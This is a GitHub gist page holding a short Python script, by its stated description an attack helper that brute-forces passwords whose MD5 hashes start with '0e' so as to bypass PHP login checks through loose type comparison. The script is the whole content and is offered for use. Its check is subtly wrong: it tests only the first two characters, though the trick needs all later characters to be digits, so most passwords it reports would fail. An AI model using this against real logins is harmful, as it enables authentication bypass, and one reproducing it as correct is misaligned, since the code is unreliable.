Created
September 8, 2023 04:37
-
-
Save ally-petitt/2fdd4f015f2904c4986c89f5b7ed96ff to your computer and use it in GitHub Desktop.
generate-valid-passwords.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Description: Python script to make passwords that abuse php type confusion | |
| # Author: Ally Petitt | |
| from string import digits, ascii_letters | |
| from hashlib import md5 | |
| import random | |
| def generate_password(length=10) -> tuple[str, str]: | |
| chars = digits + ascii_letters | |
| random_pass = ''.join(random.choice(chars) for _ in range(length)) | |
| pw_hash = md5(random_pass.encode('utf-8')) | |
| return (random_pass, pw_hash.hexdigest()) | |
| i = 0 | |
| # find 10 randome passwords that result in the hash we want | |
| while i < 10: | |
| (passw, pw_hash) = generate_password() | |
| if pw_hash[0:2] == "0e": | |
| print(f"Valid Password found: {passw} -> {pw_hash}") | |
| i += 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment